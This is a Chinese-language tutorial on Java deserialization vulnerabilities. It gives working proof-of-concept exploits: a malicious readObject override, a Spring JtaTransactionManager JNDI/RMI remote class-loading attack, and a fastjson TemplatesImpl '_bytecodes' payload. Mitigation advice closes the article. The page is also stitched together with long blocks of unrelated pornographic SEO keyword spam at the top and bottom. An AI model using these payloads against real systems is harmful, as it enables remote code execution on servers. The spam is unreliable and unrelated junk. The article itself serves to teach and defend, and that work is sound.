精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

淺談 Java 中的反序列化漏洞!

開發 前端
隨著 Json 數據交換格式的普及,直接應用在服務端的反序列化接口也隨之減少,但陸續爆出的Jackson和Fastjson兩大 Json 處理庫的反序列化漏洞,也暴露出了一些問題。

一、背景介紹

在之前的文章中,小編有詳細的介紹了序列化和反序列化的玩法,以及一些常見的坑點。

但是,高端的玩家往往不會僅限于此,熟悉接口開發的同學一定知道,能將數據對象很輕松的實現多平臺之間的通信、對象持久化存儲,序列化和反序列化是一種非常有效的手段,例如如下應用場景,對象必須 100% 實現序列化。

  • DUBBO:對象傳輸必須要實現序列化
  • RMI:Java 的一組擁護開發分布式應用程序 API,實現了不同操作系統之間程序的方法調用,RMI 的傳輸 100% 基于反序列化,Java RMI 的默認端口是 1099 端口

而在反序列化的背后,卻隱藏了很多不為人知的秘密!

最為出名的大概應該是:15年的 Apache Commons Collections 反序列化遠程命令執行漏洞,當初影響范圍包括:WebSphere、JBoss、Jenkins、WebLogic 和 OpenNMSd 等知名軟件,直接在互聯網行業掀起了一陣颶風。

2016 年 Spring RMI 反序列化爆出漏洞,攻擊者可以通過 JtaTransactionManager 這個類,來遠程執行惡意代碼。

2017 年 4月15 日,Jackson 框架被發現存在一個反序列化代碼執行漏洞。該漏洞存在于 Jackson 框架下的 enableDefaultTyping 方法,通過該漏洞,攻擊者可以遠程在服務器主機上越權執行任意代碼,從而取得該網站服務器的控制權。

還有 fastjson,一款 java 編寫的高性能功能非常完善的 JSON 庫,應用范圍非常廣,在 2017 年,fastjson 官方主動爆出 fastjson 在1.2.24及之前版本存在遠程代碼執行高危安全漏洞。攻擊者可以通過此漏洞遠程執行惡意代碼來入侵服務器。

Java 十分受開發者喜愛的一點,就是其擁有完善的第三方類庫,和滿足各種需求的框架。但正因為很多第三方類庫引用廣泛,如果其中某些組件出現安全問題,或者在數據校驗入口就沒有把關好,那么受影響范圍將極為廣泛的,以上爆出的漏洞,可能只是星辰大海中的一束花。

那么問題來了,攻擊者是如何精心構造反序列化對象并執行惡意代碼的呢?

二、漏洞分析

2.1、漏洞基本原理

我們先看一段代碼如下:

public class DemoSerializable {

    public static void main(String[] args) throws Exception {
        //定義myObj對象
        MyObject myObj = new MyObject();
        myObj.name = "hello world";
        //創建一個包含對象進行反序列化信息的”object”數據文件
        FileOutputStream fos = new FileOutputStream("object");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        //writeObject()方法將myObj對象寫入object文件
        os.writeObject(myObj);
        os.close();
        //從文件中反序列化obj對象
        FileInputStream fis = new FileInputStream("object");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //恢復對象
        MyObject objectFromDisk = (MyObject)ois.readObject();
        System.out.println(objectFromDisk.name);
        ois.close();
    }
}

class MyObject implements Serializable {

    /**
     * 任意屬性
     */
    public String name;


    //重寫readObject()方法
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
        //執行默認的readObject()方法
        in.defaultReadObject();
        //執行指定程序
        Runtime.getRuntime().exec("open https://www.baidu.com/");
    }
}

運行程序之后,控制臺會輸出hello world,同時也會打開網頁跳轉到https://www.baidu.com/。

從這段邏輯中分析,我們可以很清晰的看到反序列化已經成功了,但是程序又偷偷的執行了一段如下代碼。

Runtime.getRuntime().exec("open https://www.baidu.com/");

我們可以再把這段代碼改造一下,內容如下:

//mac系統,執行打開計算器程序命令
Runtime.getRuntime().exec("open /Applications/Calculator.app/");

//windows系統,執行打開計算器程序命令
Runtime.getRuntime().exec("calc.exe");

運行程序后,可以很輕松的打開電腦中已有的任意程序。

圖片圖片

很多人可能不知道,這里的readObject()是可以重寫的,只是Serializable接口沒有顯示的把它展示出來,readObject()方法的作用是從一個源輸入流中讀取字節序列,再把它們反序列化為一個對象,并將其返回,以定制反序列化的一些行為。

可能有的同學會說,實際開發過程中,不會有人這么去重寫readObject()方法,當然不會,但是實際情況也不會太差。

2.2、Spring 框架的反序列化漏洞

以當時的 Spring 框架爆出的反序列化漏洞為例,請看當時的示例代碼。

首先創建一個 server 代碼:

public class ExploitableServer {

    public static void main(String[] args) {
        try {
            //創建socket
            ServerSocket serverSocket = new ServerSocket(Integer.parseInt("9999"));
            System.out.println("Server started on port "+serverSocket.getLocalPort());
            while(true) {
                //等待鏈接
                Socket socket=serverSocket.accept();
                System.out.println("Connection received from "+socket.getInetAddress());
                ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
                try {
                    //讀取對象
                    Object object = objectInputStream.readObject();
                    System.out.println("Read object "+object);
                } catch(Exception e) {
                    System.out.println("Exception caught while reading object");
                    e.printStackTrace();
                }
            }
        } catch(Exception e) {
            e.printStackTrace();
        }
    }
}

然后創建一個 client 代碼:

public class ExploitClient {

    public static void main(String[] args) {
        try {
            String serverAddress = "127.0.0.1";
            int port = Integer.parseInt("1234");
            String localAddress= "127.0.0.1";

            System.out.println("Starting HTTP server");   //開啟8080端口服務
            HttpServer httpServer = HttpServer.create(new InetSocketAddress(8080), 0);
            httpServer.createContext("/",new HttpFileHandler());
            httpServer.setExecutor(null);
            httpServer.start();

            System.out.println("Creating RMI Registry"); //綁定RMI服務到 1099端口 Object  提供惡意類的RMI服務
            Registry registry = LocateRegistry.createRegistry(1099);
            /*
            java為了將object對象存儲在Naming或者Directory服務下,
            提供了Naming Reference功能,對象可以通過綁定Reference存儲在Naming和Directory服務下,
            比如(rmi,ldap等)。在使用Reference的時候,我們可以直接把對象寫在構造方法中,
            當被調用的時候,對象的方法就會被觸發。理解了jndi和jndi reference后,
            就可以理解jndi注入產生的原因了。
             */ //綁定本地的惡意類到1099端口
            Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://"+serverAddress+":8080"+"/");
            ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
            registry.bind("Object", referenceWrapper);

            System.out.println("Connecting to server "+serverAddress+":"+port); //連接服務器1234端口
            Socket socket=new Socket(serverAddress,port);
            System.out.println("Connected to server");
            String jndiAddress = "rmi://"+localAddress+":1099/Object";

            //JtaTransactionManager 反序列化時的readObject方法存在問題 //使得setUserTransactionName可控,遠程加載惡意類
            //lookup方法會實例化惡意類,導致執行惡意類無參的構造方法
            org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
            object.setUserTransactionName(jndiAddress);
            //上面就是poc,下面是將object序列化發送給服務器,服務器訪問惡意類
            System.out.println("Sending object to server...");
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
            objectOutputStream.writeObject(object);
            objectOutputStream.flush();
            while(true) {
                Thread.sleep(1000);
            }
        } catch(Exception e) {
            e.printStackTrace();
        }
    }
}

最后,創建一個ExportObject需要遠程下載的類:

public class ExportObject {

    public static String exec(String cmd) throws Exception {
        String sb = "";
        BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
        String lineStr;
        while ((lineStr = inBr.readLine()) != null)
            sb += lineStr + "\n";
        inBr.close();
        in.close();
        return sb;
    }
    public ExportObject() throws Exception {
        String cmd="open /Applications/Calculator.app/";
        throw new Exception(exec(cmd));
    }
}

先開啟 server,再運行 client 后,計算器會直接被打開!

圖片圖片

究其原因,主要是這個類JtaTransactionManager類存在問題,最終導致了漏洞的實現。

打開源碼,翻到最下面,可以很清晰的看到JtaTransactionManager類重寫了readObject方法。

圖片圖片

重點就是這個方法initUserTransactionAndTransactionManager(),里面會轉調用到JndiTemplate的lookup()方法。

圖片圖片

圖片圖片

可以看到lookup()方法作用是:Look up the object with the given name in the current JNDI context。

也就是說,通過JtaTransactionManager類的setUserTransactionName()方法執行,最終指向了rmi://127.0.0.1:1099/Object,導致服務執行了惡意類的遠程代碼。

2.3、FASTJSON 框架的反序列化漏洞分析

我們先來看一個簡單的例子,程序代碼如下:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class Test extends AbstractTranslet {
    
    public Test() throws IOException {
        Runtime.getRuntime().exec("open /Applications/Calculator.app/");
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {
    }


    public static void main(String[] args) throws Exception {
        Test t = new Test();
    }
}

運行程序之后,同樣的直接會打開電腦中的計算器。

惡意代碼植入的核心就是在對象初始化階段,直接會調用Runtime.getRuntime().exec("open /Applications/Calculator.app/")這個方法,通過運行時操作類直接執行惡意代碼。

我們在來看看下面這個例子:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;


public class POC {

    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray());

    }

    public static void  test_autoTypeDeny() throws Exception {
        ParserConfig config = new ParserConfig();
        final String fileSeparator = System.getProperty("file.separator");
        final String evilClassPath = System.getProperty("user.dir") + "/target/classes/person/Test.class";
        String evilCode = readClass(evilClassPath);
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String text1 = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b',\"_outputProperties\":{ }," +
                "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
        System.out.println(text1);

        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
        //assertEquals(Model.class, obj.getClass());
    }
    public static void main(String args[]){
        try {
            test_autoTypeDeny();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

在這個程序驗證代碼中,最核心的部分是_bytecodes,它是要執行的代碼,@type是指定的解析類,fastjson會根據指定類去反序列化得到該類的實例,在默認情況下,fastjson只會反序列化公開的屬性和域,而com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中_bytecodes卻是私有屬性,_name也是私有域,所以在parseObject的時候需要設置Feature.SupportNonPublicField,這樣_bytecodes字段才會被反序列化。

_tfactory這個字段在TemplatesImpl既沒有get方法也沒有set方法,所以是設置不了的,只能依賴于jdk的實現,某些版本中在defineTransletClasses()用到會引用_tfactory屬性導致異常退出。

如果你的jdk版本是1.7,并且fastjson <= 1.2.24,基本會執行成功,如果是高版本的,可能會報錯!

詳細分析請移步:http://blog.nsfocus.net/fastjson-remote-deserialization-program-validation-analysis/

Jackson 的反序列化漏洞也與之類似。

三、如何防范

從上面的案例看,java 的序列化和反序列化,單獨使用的并沒有啥毛病,核心問題也都不是反序列化,但都是因為反序列化導致了惡意代碼被執行了,尤其是兩個看似安全的組件,如果在同一系統中交叉使用,也能會帶來一定安全問題。

3.1、禁止 JVM 執行外部命令 Runtime.exec

從上面的代碼中,我們不難發現,惡意代碼最終都是通過Runtime.exec這個方法得到執行,因此我們可以從 JVM 層面禁止外部命令的執行。

通過擴展 SecurityManager 可以實現:

public class SecurityManagerTest {

    public static void main(String[] args) {
        SecurityManager originalSecurityManager = System.getSecurityManager();
        if (originalSecurityManager == null) {
            // 創建自己的SecurityManager
            SecurityManager sm = new SecurityManager() {
                private void check(Permission perm) {
                    // 禁止exec
                    if (perm instanceof java.io.FilePermission) {
                        String actions = perm.getActions();
                        if (actions != null && actions.contains("execute")) {
                            throw new SecurityException("execute denied!");
                        }
                    }
                    // 禁止設置新的SecurityManager,保護自己
                    if (perm instanceof java.lang.RuntimePermission) {
                        String name = perm.getName();
                        if (name != null && name.contains("setSecurityManager")) {
                            throw new SecurityException("System.setSecurityManager denied!");
                        }
                    }
                }

                @Override
                public void checkPermission(Permission perm) {
                    check(perm);
                }

                @Override
                public void checkPermission(Permission perm, Object context) {
                    check(perm);
                }
            };

            System.setSecurityManager(sm);
        }
    }
}

只要在 Java 代碼里簡單加上面那一段,就可以禁止執行外部程序了,但是并非禁止外部程序執行,Java 程序就安全了,有時候可能適得其反,因為執行權限被控制太苛刻了,不見得是個好事,我們還得想其他招數。

3.2、增加多層數據校驗

比較有效的辦法是,當我們把接口參數暴露出去之后,服務端要及時做好數據參數的驗證,尤其是那種帶有http、https、rmi等這種類型的參數過濾驗證,可以進一步降低服務的風險。

四、小結

隨著 Json 數據交換格式的普及,直接應用在服務端的反序列化接口也隨之減少,但陸續爆出的Jackson和Fastjson兩大 Json 處理庫的反序列化漏洞,也暴露出了一些問題。

所以我們在日常業務開發的時候,對于 Java 反序列化的安全問題應該具備一定的防范意識,并著重注意傳入數據的校驗、服務器權限和相關日志的檢查, API 權限控制,通過 HTTPS 加密傳輸數據等方面進行下功夫,以免造成不必要的損失!

責任編輯:武曉燕 來源: Java極客技術
相關推薦

2016-09-21 00:15:27

2021-10-20 07:18:50

Java 序列化漏洞

2012-04-13 10:45:59

XML

2018-03-19 10:20:23

Java序列化反序列化

2022-08-06 08:41:18

序列化反序列化Hessian

2023-12-13 13:49:52

Python序列化模塊

2011-06-01 15:05:02

序列化反序列化

2009-06-14 22:01:27

Java對象序列化反序列化

2009-08-24 17:14:08

C#序列化

2016-01-05 15:10:59

2010-03-19 15:54:21

Java Socket

2009-08-06 11:16:25

C#序列化和反序列化

2011-05-18 15:20:13

XML

2023-12-26 07:26:07

Java序列化反序列化機制

2019-08-12 06:41:26

PHP反序列化漏洞

2011-06-01 14:50:48

2009-08-25 14:24:36

C#序列化和反序列化

2019-11-20 10:07:23

web安全PHP序列化反序列化

2009-09-09 15:47:27

XML序列化和反序列化

2009-09-09 14:45:41

XML序列化和反序列化
點贊
收藏

51CTO技術棧公眾號

欧洲猛交xxxx乱大交3| 自拍日韩亚洲一区在线| 国产免费一区二区三区最新不卡 | 日韩av电影免费观看高清完整版| 一区二区日韩精品| 日本亚洲一区二区三区| 欧美大片1688| 亚洲精品国产一区二区精华液| 精品久久精品久久| 岳乳丰满一区二区三区| 亚洲精品社区| 精品国内产的精品视频在线观看| zjzjzjzjzj亚洲女人| 欧美日韩国产网站| 香蕉乱码成人久久天堂爱免费| 日韩.欧美.亚洲| 亚洲成人黄色片| 免费人成黄页网站在线一区二区| 欧美夫妻性生活视频| 永久免费av无码网站性色av| 日韩精品一区国产| av资源在线观看免费高清| 91精品国产视频| 亚洲人a成www在线影院| 国产免费无码一区二区| 黄色成人在线视频| 岛国av一区二区三区| 韩国黄色一级大片| 福利视频在线播放| 久久综合九色综合欧美就去吻| 91中文在线观看| 中文字幕乱码在线观看| 午夜综合激情| 91精品国产成人www| 成熟的女同志hd| 99久久综合狠狠综合久久aⅴ| 国产视频精品va久久久久久| 亚洲欧美一区二区三区不卡| 韩日精品一区| 欧美中文字幕一区| 999在线免费视频| 久久r热视频| 色综合激情久久| 国产午夜伦鲁鲁| 97天天综合网| 精品国产乱码久久久久酒店| 成人小视频在线观看免费| 日本免费中文字幕在线| 中文字幕制服丝袜一区二区三区 | 国产中文欧美精品| 在线视频播放大全| 久久av资源站| 成人性生交大片免费看视频直播| 一级片免费网站| 久久精品国产秦先生| 国产日产欧美a一级在线| 中文字幕日韩国产| 奇米888四色在线精品| 国产精品免费一区豆花| 亚洲网站在线免费观看| 久久爱另类一区二区小说| 成人网址在线观看| 国产av无码专区亚洲av| 91亚洲天堂| 日韩精品一二三| 国产成人精品久久久| 无码视频一区二区三区| 日本大胆欧美人术艺术动态| 国产男人精品视频| 国内精品国产成人国产三级| 成人中文字幕在线| 精品国产综合| 国产精品麻豆一区二区三区| 中文字幕+乱码+中文字幕一区| 亚洲精品乱码久久久久久蜜桃91| 久久综合网导航| 亚洲一区二区三区不卡国产欧美| 成人性生活视频免费看| 一二三四视频在线中文| 91福利社在线观看| 91丨九色丨蝌蚪| 国产成人精品亚洲线观看| 精品夜色国产国偷在线| 69xxx免费| 欧美日本免费| 日韩美女视频中文字幕| 伊人网免费视频| 国产mv日韩mv欧美| 欧美人与物videos另类| 国产在线二区| 日韩欧美成人精品| 永久免费黄色片| 亚洲精品播放| 久热精品在线视频| 国产免费观看av| 另类专区欧美蜜桃臀第一页| 国产精品9999久久久久仙踪林| 女人天堂在线| 一区二区三区日韩欧美| 国产又黄又猛视频| 亚洲在线色站| 亚洲精品一线二线三线| 中文字幕欧美一区| 老色鬼久久亚洲一区二区| 日韩精品导航| 在线高清av| 波多野结衣办公室33分钟| 欧美激情一区二区久久久| 国产美女精品久久久| 熟妇高潮一区二区高潮| 国产日本一区二区| 成人午夜免费剧场| 奇米777日韩| 欧美不卡视频一区| 日本不卡一区视频| 久久精品官网| 国产免费一区| av毛片在线免费| 欧美性淫爽ww久久久久无| 国产大尺度视频| 小处雏高清一区二区三区| 人人爽久久涩噜噜噜网站| www.国产麻豆| 成人欧美一区二区三区1314| 黄色av免费在线播放| www.国产精品一区| 精品国模在线视频| 香蕉视频禁止18| 伊人色综合久久天天五月婷| 99中文字幕| 日本精品久久中文字幕佐佐木| 欧美做受高潮中文字幕| 日韩电影免费在线观看| 97香蕉久久超级碰碰高清版| 国产精品久久久久久无人区| 国产欧美精品一区aⅴ影院 | 四虎精品成人免费网站| 一区二区三区日本| 欧美亚洲免费在线一区| 中文字幕乱码免费| 精品自拍视频| 亚洲小视频在线| 日韩国产成人在线| 久久品道一品道久久精品| 久久成人免费观看| 欧美三级午夜理伦三级在线观看| 久久人人爽人人爽人人片av高清| 国产免费高清av| 亚洲精品中文在线观看| 午夜免费福利网站| 你懂的国产精品永久在线| 97免费高清电视剧观看| 亚洲无线看天堂av| 欧美成人三级电影在线| 欧美特级一级片| 国产白丝精品91爽爽久久 | 中文字幕日韩欧美在线视频| 中文在线一区二区三区| 在线视频精品| 麻豆av一区二区三区久久| 欧亚在线中文字幕免费| 亚洲欧美综合图区| 中国a一片一级一片| 国产精品美女久久久久久2018| 超碰在线97免费| 99精品美女| 7777精品伊久久久大香线蕉语言| 蜜臀av在线| 亚洲精美色品网站| 波多野结衣国产| 欧美国产国产综合| 蜜桃福利午夜精品一区| 一区二区三区在线电影| 成人三级在线| 麻豆国产在线| 亚洲网站在线观看| 国产精品探花视频| 亚洲午夜精品网| 中文字字幕码一二三区| 蜜臀av性久久久久av蜜臀妖精| 五月天在线免费视频| 老司机aⅴ在线精品导航| 国产ts一区二区| 国产精品久久久久久福利| 亚洲精品在线观看网站| 成年人视频免费| 一个色妞综合视频在线观看| 99久久久久久久久久| 激情综合网av| 国产男女免费视频| 日韩在线不卡| 国内成+人亚洲| 日韩一区精品| 97精品久久久中文字幕免费| 国产网站在线播放| 精品人在线二区三区| 无码视频在线观看| 亚洲一卡二卡三卡四卡五卡| 亚洲做受高潮无遮挡| 国产乱色国产精品免费视频| 亚洲午夜精品久久久久久人妖| 欧美日韩中文字幕一区二区三区| 99视频免费观看| 欧美国产日韩电影| 97视频国产在线| 成人日韩欧美| 中文字幕亚洲激情| 日韩a级作爱片一二三区免费观看| 欧美浪妇xxxx高跟鞋交| 亚洲久久在线观看| 一区二区三区精品视频| 欧美精品日韩在线| 99re亚洲国产精品| 在线观看一区二区三区视频| 日韩不卡一区二区三区| 亚洲中文字幕无码中文字| 欧美va天堂| 在线观看欧美激情| 精品久久久久久久| 精品视频一区在线| 97一区二区国产好的精华液| 国产日本欧美在线观看| 人人视频精品| 91精品国产精品| 久久五月精品中文字幕| 久久艳片www.17c.com| av在线电影网| 国产小视频国产精品| 天堂在线视频免费观看| 精品少妇一区二区三区视频免付费| 亚洲天堂网在线观看视频| 欧美性猛xxx| 亚洲精品国产精品乱码| 亚洲成人综合视频| 黄网站免费在线| 亚洲激情第一区| 久久久久国产一区二区三区| 国产精品爽爽ⅴa在线观看| 少妇喷水在线观看| 91精品国产高清一区二区三区 | 日韩精品在线观看视频| 手机在线视频一区| 日韩不卡免费视频| 人妻丰满熟妇av无码区app| 国产日韩一区| 亚洲天堂色网站| 日本一区二区三区视频免费看| 午夜影视一区二区三区| 久久久久久久久久久久av| 中国av在线播放| 久国内精品在线| 国产激情在线免费观看| 久久看片网站| 人人爽人人av| 蜜桃视频第一区免费观看| 麻豆一区二区三区视频| 日本欧美韩国一区三区| 成人午夜激情av| 搞黄网站在线看| 中文字幕亚洲欧美日韩高清 | 国产suv一区二区三区88区| 性色av浪潮av| 成人av网站免费观看| 在线观看国产免费视频| 久久精品人人做人人爽人人| 在线观看免费小视频| 中文字幕制服丝袜成人av| 青青青在线视频| 午夜久久一区| 美女被啪啪一区二区| 国产伦精品一区二区三区千人斩| 日韩欧美亚洲在线| 91精品亚洲| 2019日韩中文字幕mv| 麻豆久久婷婷| 国产5g成人5g天天爽| 国产成人午夜精品影院观看视频 | 98精品久久久久久久| 激情六月天婷婷| 噜噜噜在线观看免费视频日韩| 亚欧美在线观看| 国产成人综合在线播放| 91av在线免费| 国产精品久久久久影院| 黄色小视频在线免费看| 色噜噜狠狠一区二区三区果冻| 11024精品一区二区三区日韩| 日韩免费性生活视频播放| 青青草在线播放| 久久中国妇女中文字幕| 中文字幕这里只有精品| 成人在线一区二区| 天堂成人娱乐在线视频免费播放网站| 婷婷五月色综合| 亚洲黄色av| 日本三级黄色网址| 99免费精品在线| 国产精品麻豆免费版现看视频| 一级精品视频在线观看宜春院| 自拍偷拍校园春色| 亚洲精品一区二区三区在线观看 | 中国色在线观看另类| 免费日韩在线视频| 欧美日韩一区二区三区不卡| 好吊视频一二三区| 色吧影院999| 中文在线а√在线8| 亚洲一区二区日本| 欧美精选一区二区三区| 国产二区视频在线| 久久成人久久爱| 欧美 日韩 国产 成人 在线观看| 一区二区三区欧美日| 91影院在线播放| 精品偷拍各种wc美女嘘嘘| 怡红院红怡院欧美aⅴ怡春院| 国产国产精品人在线视| 激情视频极品美女日韩| 日韩成人午夜影院| 美女一区二区三区在线观看| 亚洲蜜桃精久久久久久久久久久久| 《视频一区视频二区| 中文在线资源天堂| 亚洲欧洲国产伦综合| 国产美女高潮在线| av一区二区三区在线观看| 97精品国产福利一区二区三区| 久草资源站在线观看| 成人黄色一级视频| 超碰手机在线观看| 88在线观看91蜜桃国自产| 国产小视频免费在线网址| 欧美一区二区三区艳史| 国产区精品视频在线观看豆花| 日韩精品手机在线观看| 国产乱码精品一区二区三| 成年人二级毛片| 欧美二区三区的天堂| 午夜伦全在线观看| 国产精品视频免费在线观看| 欧美日韩国产一区二区三区不卡 | 日韩精品乱码久久久久久| 日韩精品一区二区三区中文精品| 国产黄色在线网站| 147欧美人体大胆444| 综合久久亚洲| 精品人妻无码中文字幕18禁| 一区二区三区美女视频| 亚洲av综合色区无码一二三区| 欧美男插女视频| y111111国产精品久久久| 91动漫在线看| 97久久精品人人澡人人爽| 久久免费激情视频| 亚洲欧洲一区二区三区久久| 欧美片第一页| 亚洲高清视频一区二区| 国内精品第一页| 国产亚洲精品码| 亚洲国产毛片完整版| 看黄在线观看| 奇米视频888战线精品播放| 欧美96一区二区免费视频| 战狼4完整免费观看在线播放版| 91精品午夜视频| 人人澡人人添人人爽一区二区| 国产精华一区| 老司机一区二区三区| 香蕉久久久久久久| 91精品国产入口在线| 国产深夜视频在线观看| 久久精品日产第一区二区三区精品版| 日韩国产成人精品| 成年人午夜剧场| 日韩av在线资源| 国产在线|日韩| 成人在线观看毛片| 91亚洲精华国产精华精华液| 看黄色一级大片| 欧美成人午夜激情视频| 视频小说一区二区| 国产探花在线看| 亚洲一区二区欧美日韩| 大乳在线免费观看| 亚洲最大av在线| 日韩制服丝袜av| 免费人成视频在线| 国产一区二区三区久久精品| 国产精品美女久久久久人| 欧美 日本 亚洲| 亚洲视频资源在线| 丝袜视频国产在线播放| 成人免费福利在线| 国产日韩高清一区二区三区在线| 天美传媒免费在线观看| 精品国产一区二区亚洲人成毛片| 蜜桃成人精品| 日本十八禁视频无遮挡| 国产精品高潮久久久久无| 五十路在线观看|